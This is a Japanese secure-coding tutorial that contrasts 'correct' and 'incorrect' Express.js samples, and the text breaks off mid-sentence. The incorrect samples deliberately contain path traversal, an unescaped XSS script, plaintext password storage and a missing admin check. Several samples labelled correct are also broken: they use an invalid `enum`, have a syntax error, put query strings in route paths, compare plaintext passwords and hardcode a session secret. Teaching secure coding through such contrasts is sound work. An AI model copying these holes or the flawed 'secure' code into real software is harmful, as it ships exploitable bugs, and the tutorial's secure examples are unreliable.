[{"data":1,"prerenderedAt":1111},["ShallowReactive",2],{"news-item-\u002Fja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan":3},{"id":4,"title":5,"body":6,"category":1098,"created by":1099,"date":1100,"description":1101,"extension":1102,"meta":1103,"navigation":1104,"path":1105,"sections":1106,"seo":1107,"stem":1108,"thumbnail":1109,"__hash__":1110},"content_ja\u002Fja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan.md","セキュアコーディングおよび安全なアプリ開発のベスト手法",{"type":7,"value":8,"toc":1070},"minimark",[9,13,17,20,24,27,49,52,55,59,62,65,68,71,77,88,91,94,100,103,106,109,112,115,117,121,127,130,134,140,143,146,149,152,155,158,161,164,167,170,173,176,179,182,186,192,195,198,202,208,211,214,217,220,223,226,229,232,235,237,241,247,250,254,260,263,266,269,272,275,278,281,284,287,290,292,296,302,305,309,315,318,321,324,327,347,350,353,356,359,362,364,368,374,377,381,387,390,393,396,399,402,405,408,411,414,416,420,426,429,433,439,442,445,448,451,454,457,460,463,467,473,483,487,493,504,507,510,513,516,519,522,525,528,530,534,540,543,547,553,556,559,562,565,568,571,574,577,580,583,586,590,596,599,603,609,612,615,618,621,624,627,630,633,636,639,643,649,652,656,662,665,668,672,675,678,684,687,693,696,699,705,708,713,724,728,731,734,781,785,796,802,805,808,811,817,820,826,829,835,838,843,846,852,855,861,864,870,874,914,919,922,925,928,934,937,940,942,948,951,954,957,965,968,972,986,990,993,995,1004,1007,1010,1014,1025,1028,1031,1034,1040,1046,1052,1058,1064],[10,11,12],"h2",{"id":12},"セキュアコーディングについての紹介",[14,15,16],"p",{},"セキュア コーディングは、アプリケーションを安全に開発することを目的にして、侵入者やハッカーからの攻撃を防ぐために脆弱性を最小限に抑え、安全性の高いソース コードを作成するプロセスです。",[14,18,19],{},"セキュアでないコードは、ソフトウェアにおける多くのセキュリティ問題の主な原因です。 コード内のエラーは、セキュリティの脆弱性、データへの不正アクセス、侵入、さらにはシステムやユーザーへの損害などの深刻な問題を引き起こす可能性があります。セキュア コーディングにより、アプリケーションとシステムは開発から展開段階まで正しく、安全に記述されることが保証されます。",[10,21,23],{"id":22},"なぜセキュアコーディングが重要なのか","なぜ、セキュアコーディングが重要なのか？",[14,25,26],{},"セキュアコーディングは、アプリやシステムへの攻撃やセキュリティの脆弱性から守るのに重要な役割を果たすため、ソフトウェア開発の分野においては非常に重要なことです。 セキュア コーディングはなぜ重要なのか、以下のとおりにいくつかの理由があります。",[28,29,30,34,37,40,43,46],"ol",{},[31,32,33],"li",{},"データ保護：セキュアコーディングは、ユーザーと組織の重要な情報への不正アクセス、改ざん、盗難から避けるのに役立ちます。 アプリが安全に作成されていない場合、機密情報が漏洩し、資産の損失、組織の評判、データ セキュリティ規制の違反などの深刻な問題につながる可能性があります。",[31,35,36],{},"攻撃の防止：セキュアコーディングにより、侵入者やハッカーからの攻撃を最小限に抑えることができます。 入力データを処理およびフィルタリングすることで、SQL インジェクション、クロスサイト スクリプティング (XSS)、クロスサイト リクエスト フォージェリ (CSRF)、コマンド インジェクション、クロスサイト スクリプト インクルージョン (XSSI)、サーバーサイド リクエスト、偽造（SSRF）などの一般的な攻撃を防ぐことができます。",[31,38,39],{},"可用性と信頼性の確保：セキュアコーディングで実装されたアプリのほうが安定して確実に動作します。 エラーとセキュリティの脆弱性を最小限に抑えることで、望ましくないインシデントを回避し、システムの可用性を維持することができます。",[31,41,42],{},"損害の最小限：安全に実装されないアプリは攻撃され、システムとユーザーに深刻な損害を及ぼす可能性があります。セキュアコーディングで攻撃されたときのリスクと損害を最小限に抑えることができます。",[31,44,45],{},"セキュリティ標準および規制の遵守：セキュアコーディングは、組織および業界のセキュリティ規制を満たすのに役立ちます。 医療や金融などの多くの業界は、セキュリティとデータ保護に対する厳しい規制があります。 これらの規制に従い、プライバシー権とセキュリティ規制を違反しないように、安全なコーディングを採用する必要があります。",[31,47,48],{},"信頼と評判の向上：アプリの安全性とセキュリティ性は、組織に対する信頼と肯定的な評判に貢献します。 アプリが安全であれば、アプリを利用しているユーザーや顧客はより組織に信頼するようになります。",[14,50,51],{},"要するに、セキュアコーディングは、アプリとシステムへの攻撃や脆弱性から守るための中核です。 これにより、ソフトウェアのセキュリティと信頼性が確保され、ユーザーと組織のデータが守られ、セキュリティ要件と標準を満たすことができます。",[10,53,54],{"id":54},"セキュアコーディングにおける重要な原則と手法",[56,57,58],"h3",{"id":58},"入力のバリデーションチェック",[14,60,61],{},"次の処理に進む前に、クライアントとサーバーの両方ですべての入力値を検証する必要です。",[14,63,64],{},"バリデーションエラーのデータはただちに拒否し、次の処理を実行させません。 無効なデータが入力されたというメッセージなどを返し、ユーザーに通知します。",[14,66,67],{},"GET ファイルなどのデータ取得のナビゲーション プロセスは、ユーザーの入力からファイル名を直接取得せずに、file_id などの定数を介して取得したほうがよいです。",[14,69,70],{},"以下は、Express.js フレームワークを使用する Nodejs コードです。",[14,72,73],{},[74,75,76],"strong",{},"正しいコード",[78,79,84],"pre",{"className":80,"code":82,"language":83},[81],"language-text","const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;\n \nenum File {\n  1: 'example.txt',\n  2: 'example2.txt'\n}\n \n\u002F\u002F ファイルのデータを取得するルート\napp.get('\u002Ffile', async (req, res) => { \n  if (isNaN(req.query.fileId)) {\n    return res.status(400).send('fileId は数値'); \n  }\n \n  try { \n    const filePath = `.\u002Ffiles\u002F${File[req.query.fileId]}`;  \n \n    \u002F\u002F ファイルの内容を読み込む\n    const fileContent = await fs.readFile(filePath, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('ファイルの読み込むとき、エラーが発生した。'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n","text",[85,86,82],"code",{"__ignoreMap":87},"",[14,89,90],{},"この例では、ユーザー データからファイル名を直接取得しなくて、ユーザーが送信したファイルのid を使用して、アクセスファイル パスを取得します。 これで望ましくないアクセスなどのセキュリティ脆弱性の問題が回避されます。",[14,92,93],{},"正しくないコード",[78,95,98],{"className":96,"code":97,"language":83},[81],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;  \n \n\u002F\u002F ファイルからデータを取得するルート \napp.get('\u002Ffile', async (req, res) => {  \n  try {  \n    \u002F\u002F ユーザーの入力のファイル名を使用して、ファイルの内容を読み込む\n    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('ファイルを読み込む際にエラーが発生しました。'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,99,97],{"__ignoreMap":87},[14,101,102],{},"この例では、ユーザーが入力したデータのファイル名を使用しました。 これで望ましくないアクセスなどのセキュリティ脆弱性の問題が発生します。",[56,104,105],{"id":105},"出力エンコーディング",[14,107,108],{},"エンコードが必要なすべての出力データは、クロスサイト スクリプティング (XSS) の脆弱性を避けるように、HTML エンティティ エンコードを使用してデータ エンコードを実行することができます。",[14,110,111],{},"コマンド インジェクションに関連するエラーを回避するように、オペレーティング システム コマンドに関連するデータをきれいにします。",[14,113,114],{},"データを表示するときにSQL インジェクション関連の脆弱性を避けるように、SQL クエリのデータをクリアします。",[14,116,70],{},[14,118,119],{},[74,120,76],{},[78,122,125],{"className":123,"code":124,"language":83},[81],"const express = require('express'); \nconst escapeHtml = require('escape-html');\nconst app = express(); \nconst port = 3000; \n \napp.get('\u002FcustomerProfile', (req, res) => { \n  const customer = { \n    name: \"test\", \n    note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n  }; \n \n  const encodedCustomerNote = escapeHtml(customer.note);\n \n  res.send(` \n    \u003Ch1>こんにちは、 ${customer.name}!\u003C\u002Fh1> \n    \u003Cp>${encodedCustomerNote}\u003C\u002Fp> `\n  ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n",[85,126,124],{"__ignoreMap":87},[14,128,129],{},"以上のコードでは、HTMLを入れる前にescape-htmlライブラリを使用して、customer.noteの内容をエンコードしました。こうしたら、どの悪意のあるJavaScriptコードでもエンコードされて、普段の文章に表示されますので、実行できません。",[14,131,132],{},[74,133,93],{},[78,135,138],{"className":136,"code":137,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\napp.get('\u002FcustomerProfile', (req, res) => { \n const customer = { \n   name: \"test\", \n   note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n }; \n \n res.send(` \n   \u003Ch1>こんにちは、 ${customer.name}!\u003C\u002Fh1> \n   \u003Cp>${customer.note}\u003C\u002Fp> `\n ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,139,137],{"__ignoreMap":87},[14,141,142],{},"上記のコードではお客様の情報を返しています。しかし、customer.noteの変数では悪意のあるJavaScriptコードが含まれていて、ブラウザーがこのコードを表示させたら、XSS攻撃を引き起こします。",[56,144,145],{"id":145},"認証とパスワードの管理",[14,147,148],{},"重要なソースに対して、公開アクセスをさせずに、認証が必要です。Css、js...などのオープンソースに対しては認証がいりません。",[14,150,151],{},"Oauth2、もしくはGoogle authication、Facebook authenticationなどの提供されている認証仕組みを使用してもよいです。",[14,153,154],{},"提供されているライブラリが利用できるパスワードをエンコードしなければなりません。",[14,156,157],{},"ユーザーがログインする際に、ユーザー名、またはパスワードが間違った場合、ハッカーにデータを集めらせないように具体的に「ユーザー名が正しく入力されていません」、もしくは「パスワードが正しく入力されていません」というようなメッセージの代わりに、単に「ログイン情報が正しく入力されていません」と知らせたらいいです。",[14,159,160],{},"外部のシステムがデータを取得するために（APIやウェブサービスなど通して）、私たちのシステムに接続したら、認証を実行する必要があります。",[14,162,163],{},"***形式に表示されている読めないパスワードや認証リクエストにHTTP POSTを使用します。",[14,165,166],{},"アカウントのパスワードが強いほうがいいです。強いパスワードは少なくとも1 つの大文字、1 つの小文字、1 つの数字、1 つの特殊文字を含めて、文字数が 8 文字以上のものです。",[14,168,169],{},"パスワードのリセットリンクの期限が短いほうがいいです。",[14,171,172],{},"重要な作業に対して、2FA認証仕組みを設定する必要があります。",[14,174,175],{},"パスワードの更新頻度やパスワードの再利用を避ける仕組みを設定するのも必要です。",[14,177,178],{},"最初のログインでは一時的なパスワードの変更をさせて、認証情報を何度か正しく入力しないとアカウントをロックさせる仕組みを設定します。",[14,180,181],{},"以下は、Express.js フレームワークを使用した Nodejs コードです。",[14,183,184],{},[74,185,76],{},[78,187,190],{"className":188,"code":189,"language":83},[81],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F たとえこちらはユーザの情報を格納するデータベース \nconst users = []; \n \napp.use(express.json()); \n \n\u002F\u002F ユーザー登録\napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n \n \u002F\u002F ユーザーが存在していることを確認する\n if (users.find(user => user.username === username)) {\n   return res.status(400).json({ error: 'ユーザーが存在しています。' }); \n } \n \n \u002F\u002F データベースに格納する前、パスワードをエンコードする \n const hashedPassword = await bcrypt.hash(password, 10); \n \n \u002F\u002F ユーザー情報をデータベースへ格納する  \n users.push({ username, password: hashedPassword }); \n  \n return res.status(201).json({ message: '登録が成功しました。' }); \n}); \n \n\u002F\u002F ログイン \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n \n \u002F\u002F データベースからユーザー情報を検索する \n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'ログイン情報が正しく入力されていません。' }); \n } \n \n \u002F\u002F エンコードしたパスワードと比較する \n const isPasswordValid = await bcrypt.compare(password, user.password); \n if (!isPasswordValid) { \n  return res.status(401).json({ error: 'ログイン情報が正しく入力されていません。' }); \n } \n\n return res.status(200).json({ message: 'ログインが成功しました。' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,191,189],{"__ignoreMap":87},[14,193,194],{},"上記のコードにおいて、アカウントを登録するとき、パスワードはデータベースに格納する前に、エンコードされて、普通の文字として格納されないので、アプリケーションのセキュリティを向上させます。",[14,196,197],{},"ユーザーがログインする際、入力したパスワードをデータベースに格納しているエンコードされたパスワードと比較して、ユーザー名、またはパスワードを正しく入力していない場合、ハッカーに情報を集めさせないように「ログイン情報が正しく入力されていません。」という共通メッセージを出力します。",[14,199,200],{},[74,201,93],{},[78,203,206],{"className":204,"code":205,"language":83},[81],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F たとえこちらはユーザの情報を格納するデータベース\nconst users = []; \n\napp.use(express.json()); \n\n\u002F\u002F ユーザー登録 \napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n\n \u002F\u002F ユーザーが存在していることを確認する \n if (users.find(user => user.username === username)) {\n  return res.status(400).json({ error: 'ユーザーが存在しています。' }); \n } \n\n \u002F\u002F パスワードをエンコードなしでデータベースに格納する\n users.push({ username, password}); \n \n return res.status(201).json({ message: '登録が成功しました。' }); \n}); \n\n\u002F\u002F ログイン \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n\n \u002F\u002F データベースからユーザーの情報を検索する\n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'ユーザー名が正しく入力されていません。' }); \n } \n\n \u002F\u002F パスワードを比較する\n if (password !== user.password) { \n  return res.status(401).json({ error: 'パスワードが正しく入力されていません。' }); \n } \n\n return res.status(200).json({ message: 'ログインが成功しました。' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,207,205],{"__ignoreMap":87},[14,209,210],{},"上記のコードにおいて、ユーザーがアカウントを登録する時、パスワードがデータベースに格納する前にエンコードされないので、アプリケーションのセキュリティ標準に違反します。",[14,212,213],{},"ユーザーがログインする際、ユーザー名、またはパスワードを正しく入力していないと、「ユーザー名が正しく入力されていません。」や「パスワードが正しく入力されていません。」などの具体的なエラーメッセージが出力されているというセキュリティ脆弱性があります。",[56,215,216],{"id":216},"セッションの管理",[14,218,219],{},"idを使用するセッションを作成するには、セッション スニッフィングや推測攻撃が回避できるように偶然性を確保しなければなりません。",[14,221,222],{},"ログアウトしたら、すぐにセッションを終わらせます。",[14,224,225],{},"ログアウト機能はユーザーがログアアウトしたいときはログアウトできるように、認証したすべてのサイトにつかなければなりません。",[14,227,228],{},"不正アクセスを制限するために、一人のユーザーにセッションが2つ以上同時に存在することを許可しません。",[14,230,231],{},"再認証の時、元のバージョンと重複ならないように新しいidのセッションを生成する必要があります。",[14,233,234],{},"セッションの有効期限を設定したほうがいいです。",[14,236,181],{},[14,238,239],{},[74,240,76],{},[78,242,245],{"className":243,"code":244,"language":83},[81],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F ミドルウェアセッションを利用する  \napp.use(session({ \n secret: 'secretKey', \n resave: true, \n saveUninitialized: true,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F たとえ、こちらはユーザーの情報を格納するデータベース \nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Kユーザーがログインしていることを確認する\nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: '続行するには、ログインしてください。' }); \n} \n \n\u002F\u002F ログイン \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'ユーザー名、またはパスワードが正しく入力されていません。' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'ログインが成功しました。' }); \n}); \n  \n\u002F\u002F ログインした後、ユーザーの情報を表示する\napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `個人情報：${username}`}); \n}); \n \n\u002F\u002F ログアウト \napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n req.session.destroy(); \n return res.status(200).json({ message: 'ログアウトが成功しました。' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,246,244],{"__ignoreMap":87},[14,248,249],{},"上記の例では、ユーザーがログインに成功したら、ユーザー名をセッションに格納して、セッションの切れ時間は一日間と設定します。 \u002Fprofileと\u002Flogoutルートはログインしているユーザーのみアクセスさせて、ログインしている状態を確認するために、セッションの情報を検証します。ユーザーがログアウトしたら、このセッションを終了して、ユーザーが再ログインするときに、また新しいセッションを生成します。",[14,251,252],{},[74,253,93],{},[78,255,258],{"className":256,"code":257,"language":83},[81],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F ミドルウェアセッションを利用する  \napp.use(session({ \n secret: 'secretKey', \n resave: false, \n saveUninitialized: false,\n})); \n\napp.use(express.json()); \n\n\u002F\u002F たとえ、こちらはユーザーの情報を格納するデータベース\nconst users = [ { username: 'test', password: 'password_hash' } ]; \n\n\u002F\u002F ユーザーがログインしていることを確認する \nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: '続行するには、ログインしてください。' }); \n} \n\n\u002F\u002F ログイン \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'ユーザー名、またはパスワードが正しく入力されていません。' }); \n } \n\n req.session.username = username; \n return res.status(200).json({ message: 'ログインが成功しました' }); \n}); \n\n\u002F\u002F ログインした後、ユーザーの情報を表示する \napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); \n}); \n\n\u002F\u002F ログアウト\napp.post('\u002Flogout', isAuthenticated, (req, res) => {  \n return res.status(200).json({ message: 'ログアウトが成功しました。' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,259,257],{"__ignoreMap":87},[14,261,262],{},"上記の例では、ユーザーがログインに成功したら、ユーザー名をセッションに格納しますが、有効期限を設定しません。ユーザーがログアウトしたとしても、セッションがキャンセルされなく、そのまま存在しています。",[56,264,265],{"id":265},"アクセス制御",[14,267,268],{},"アカウントの権限に該当なアクセス権限を正しく付与できるように、HTTPリクエストやAjaxなどで送信されたリクエストを含め、すべての送信されたリクエストに対して、アクセス権限の検証を実行しなければなりません。アクセス権限がない材料へのアクセスを避けます。",[14,270,271],{},"ウェブサイトの機能を実行しているコードのロジックに影響されなく、管理しやすくなるように、一元管理を実行する必要があります。",[14,273,274],{},"重要な材料へのアクセスは権限が付与されているユーザのみアクセスできるとアクセス制御する必要があります。",[14,276,277],{},"アプリはアクセス権限政策についての明細な資料を持たなければなります。",[14,279,280],{},"アクセス権限変更、もしくはアクセス権限に関する業務のロジック変更が発生した場合、すぐにアカウントを無効化して、ログインセッションを終了します。ユーザーが再度ログインしなければ、続行できません。",[14,282,283],{},"アカウントはしばらく使っていないと、一時的にアカウントを無効化する仕組みを適用します。",[14,285,286],{},"クライアント側でユーザーのデータを格納しなけらばならない場合、データを暗号化して、サーバーで整合性を検証しなければなりません。",[14,288,289],{},"正しい先に権限を付与します。アクセス権限を持っているユーザーのみ、システムの特定の材料へアクセスできます。",[14,291,181],{},[14,293,294],{},[74,295,76],{},[78,297,300],{"className":298,"code":299,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F たとえ、こちらはユーザーの情報を格納しているデータベース\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \n\u002F\u002F ユーザーの権限を検証するミドルウェア \nfunction checkRole(role) { \n  return (req, res, next) => { \n    const user = users.find(user => user.username === req.session.username); \n     \n    if (user && user.role === role) { \n      return next(); \n    } \n    return res.status(403).json({ error: 'アクセス権限がありません。' }); \n  }; \n} \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n  const username = req.session.username; \n  return res.status(200).json({message: `個人情報： ${username}`});\n}); \n \napp.get('\u002Fadmin', checkRole('admin'), (req, res) => { \n  return res.status(200).json({ message: '管理ページ' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,301,299],{"__ignoreMap":87},[14,303,304],{},"上記の例では、ユーザーの権限を検証するために、checkRoleミドルウェアを使います。 \u002Fprofile ルートはすべてのユーザーをアクセスさせます。\u002Fadminルートは管理者権限を持っているユーザーのみ管理ページへアクセスさせます。アクセス権限がなければ、403 (Forbidden)というステータスコードが返却されます。",[14,306,307],{},[74,308,93],{},[78,310,313],{"className":311,"code":312,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F たとえ、こちらはユーザーの情報を格納しているデータベース\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `T個人情報： ${username}`});\n}); \n \napp.get('\u002Fadmin', (req, res) => { \n return res.status(200).json({ message: '管理ページ' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,314,312],{"__ignoreMap":87},[14,316,317],{},"上記の例では、\u002Fprofileと\u002Fadminルートとどちらも権限制限なく、すべてのユーザーをアクセスさせます。というと、一般ユーザでも管理ページへアクセスできるので、とても危ないです。",[56,319,320],{"id":320},"エラーハンドリングとロギング",[14,322,323],{},"ウェブサイトでエラーが発生した場合、エラーページの定義を行って返却し、共通エラーを知らせなければなりません。フレームワークのデフォルトエラーページはアプリケーションやバージョンの情報を含めていますので、使わないほうがいいです。",[14,325,326],{},"ログは以下のように重要なイベントをすべて記載する必要があります。",[28,328,329,332,335,338,341,344],{},[31,330,331],{},".入力値の全てのバリデーションエラー",[31,333,334],{},"全ての例外ケース",[31,336,337],{},"全てのアクセス制御のエラー",[31,339,340],{},"バリデーションチェックの時の全てのケース、特には失敗したケース",[31,342,343],{},"何度もログインしようとしたケース、もしくはセッションの有効期限になったケース",[31,345,346],{},"全ての管理機能",[14,348,349],{},"ログには余計なシステムの情報、アプリのバージョン情報、またはユーザーのパスワードなどの機密情報を記載しないことです。",[14,351,352],{},"ログへのアクセスはアクセス権限を持っているユーザのみに制限します。",[14,354,355],{},"ログが重要なイベントの情報を記載する必要です。例えば：イベントが発生した時点、イベントの深刻さ、イベントのタグ、イベントを起こしたアカウントの情報、IPソース、Dest IP、イベントの記載など。",[14,357,358],{},"問題が発生した場合、経緯を遡ることができるように、エラーハンドリングの情報は成功イベントや失敗イベントをすべて記載する必要です。",[14,360,361],{},"Web サイトからのエラー返信では、システムの詳細、アプリのバージョン、アカウント情報などの機密情報を漏洩しないようにすることです。",[14,363,181],{},[14,365,366],{},[74,367,76],{},[78,369,372],{"className":370,"code":371,"language":83},[81],"const express = require('express'); \nconst winston = require('winston'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F ロガーを設定する \nconst logger = winston.createLogger({ \n  level: 'info', \n  format: winston.format.simple(), \n  transports: [ \n    new winston.transports.Console(), \n    new winston.transports.File({ filename: 'error.log', level: 'error' }) \n  ] \n}); \n \n\u002F\u002F エラーハンドリング用のミドルウェア  \napp.use((err, req, res, next) => { \n  logger.error(err.stack); \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F ルートがエラーを起こしました \napp.get('\u002Ferror', (req, res, next) => { \n  const error = new Error('message error'); \n  next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,373,371],{"__ignoreMap":87},[14,375,376],{},"上記のコードではwinstonライブラリを使って、ロガーを作成し、エラー情報を記載して、\"error.log\"ファイルに格納するように設定します。\u002Ferrorルートはエラーが発生したことを示すために使用されています。このルートで、エラーを起こして、next()という関数でエラーをエラーハンドリングミドルウェアに渡します。ロガーを使用すれば、アプリの管理がより簡単になります。",[14,378,379],{},[74,380,93],{},[78,382,385],{"className":383,"code":384,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F エラーハンドリング用のミドルウェア  \napp.use((err, req, res, next) => { \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F ルートがエラーを起こしました \napp.get('\u002Ferror', (req, res, next) => { \n const error = new Error('message error'); \n next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,386,384],{"__ignoreMap":87},[14,388,389],{},"上記のコードはwinstonライブラリを使って、ロガーを作成し、エラー情報を記載しません。この場合、プログラムにはエラーが発生したら、エラーの調査や修正などが難しいです。",[56,391,392],{"id":392},"データ保護",[14,394,395],{},"ユーザー名とパスワードを自動入力する機能を消します。",[14,397,398],{},"ユーザー名、パスワード、トーケン、セッションのidなどの機密情報はHTTP GETのパラメータとして渡しません。",[14,400,401],{},"ソースコードにデータベース、やユーザーのアクセス情報、またはシステムのほかの機密情報などを含めているコメントなどの必要ないコメントをすべて削除します。",[14,403,404],{},"各アカウントの役割に基づいて権限を割り当てることは、不正アクセスや誤ったアクセスを制限し、データの損失を避けるのに貢献します。",[14,406,407],{},"サーバーサイドのソースコードがユーザーにダウンロードされないように、ソースコードフォルダーの権限を設定し、ソースコードとその保存パスを漏洩させないようにします。",[14,409,410],{},"サーバに格納されている機密情報へのアクセスの制御を適当に実施します。",[14,412,413],{},"クライアント側ではHTTPヘッダーのCache-Control: no-storeなどの使用できる機密情報を含めているサイトのキャッシュを無効にします。",[14,415,181],{},[14,417,418],{},[74,419,76],{},[78,421,424],{"className":422,"code":423,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F ユーザー検索\napp.get('\u002Fuser?name=test&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,425,423],{"__ignoreMap":87},[14,427,428],{},"上記のコードでは、 \u002Fuserルートで名前とメールを使ってユーザーを検索して、該当な結果を返します。 名前とメールは機密情報ではないので、普通に検索できます。",[14,430,431],{},[74,432,93],{},[78,434,437],{"className":435,"code":436,"language":83},[81],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F ユーザー検索\napp.get('\u002Fuser?password=test123&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[85,438,436],{"__ignoreMap":87},[14,440,441],{},"上記のコードでは、 \u002Fuserルートでパスワードとメールを使ってユーザーを検索して、該当な結果を返します。 パスワードは機密情報なので、セキュリティ標準に違反しています。",[56,443,444],{"id":444},"コミュニケーションセキュリティ",[14,446,447],{},"別のウェブサイトにアクセスする前にHTTPリファラからセッションのid、トーケンなどの機密情報のパラメータを外すようにします。",[14,449,450],{},"外部システムが私たちのシステムにアクセスする場合、TLS接続を設定しなければなりません。",[14,452,453],{},"すべての機密情報を転送するためにTLSを使用して暗号化を実行することで、セキュアな通信を保護します。",[14,455,456],{},"ウェブサイトですべての認証されたアクセスが必要な内容やすべてのアクセス操作にたいして、常にTLS接続を使用するように設定します。",[14,458,459],{},"UTF-8エンコーディング文字セットは暗号化された接続に使用できます。",[14,461,462],{},"以下はExpress.jsフレームワークを使用したNode.jsのコードです。",[14,464,465],{},[74,466,76],{},[78,468,471],{"className":469,"code":470,"language":83},[81],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n  \napp.get('\u002Fsecure', (req, res) => {\n  console.log('データは安全に渡されます。');\n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Tạo server HTTPS\nhttps.createServer({\n key: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \n cert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[85,472,470],{"__ignoreMap":87},[14,474,475,476,482],{},"上記の例では、httpsモジュールを使用してHTTPSプロトコルを利用するサーバーを作成しました。ユーザーが\u002Fsecureルートにアクセスするとき、データはHTTPSプロトコルを介して安全に転送され、",[477,478,479],"a",{"href":479,"rel":480},"https:\u002F\u002Fexample.com",[481],"nofollow"," ドメインにリダイレクトされます。情報が転送中に盗まれたり変更されたりすることはなく、HTTP リファラーには機密情報が含まれていないことが保証されます。",[14,484,485],{},[74,486,93],{},[78,488,491],{"className":489,"code":490,"language":83},[81],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n \napp.get('\u002Fsecure?session_id=xxx', (req, res) => { \n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F HTTPSサーバーを作成する\nhttps.createServer({\nkey: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \ncert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[85,492,490],{"__ignoreMap":87},[14,494,495,496,499,500,503],{},"上記の例では、ユーザーが\u002Fsecureルートにアクセスすれば、",[477,497,479],{"href":479,"rel":498},[481]," ドメインにリダイレクトされます。このとき、HTTPリファラーにはセッションのidなどの機密情報が含まれており、",[477,501,479],{"href":479,"rel":502},[481]," 